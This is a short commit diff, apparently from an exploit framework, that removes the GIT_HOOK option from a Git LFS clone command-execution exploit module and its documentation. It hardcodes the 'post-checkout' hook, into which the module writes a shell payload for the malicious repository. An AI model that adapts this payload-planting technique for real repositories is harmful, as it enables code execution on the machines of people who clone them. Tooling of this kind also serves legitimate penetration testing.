remove GIT_HOOK option

post-checkout is the only hook that will work
with this exploit, so no option is needed. Also update
the documentation to reflect that.

documentation/modules/exploit/multi/http/git_lfs_clone_command_exec.md

@@ -50,10 +50,6 @@ Versions of Git below those in the following list are vulnerable:
 
 Sets the Git repository path. Leave empty for randomly-generated path.
 
-### GIT_HOOK
-
-Sets the Git hook script to be written. `post-checkout` is the default.
-
 ## Scenarios
 
 ### Git `v2.20.1` on MacOS 10.14.6

modules/exploits/multi/http/git_lfs_clone_command_exec.rb

@@ -67,8 +67,7 @@ def initialize(info = {})
 
     register_options(
       [
-        OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ]),
-        OptString.new('GIT_HOOK', [ false, 'The Git hook to use to trigger the payload', 'post-checkout' ])
+        OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
       ]
     )
 
@@ -88,7 +87,7 @@ def setup_repo_structure
     dir_name = link_name.upcase
     git_attr = '.gitattributes'
 
-    git_hook = datastore['GIT_HOOK']
+    git_hook = 'post-checkout'
     @hook_payload = "#!/bin/sh\n#{payload.encoded}"
     ptr_file = generate_pointer_file(@hook_payload)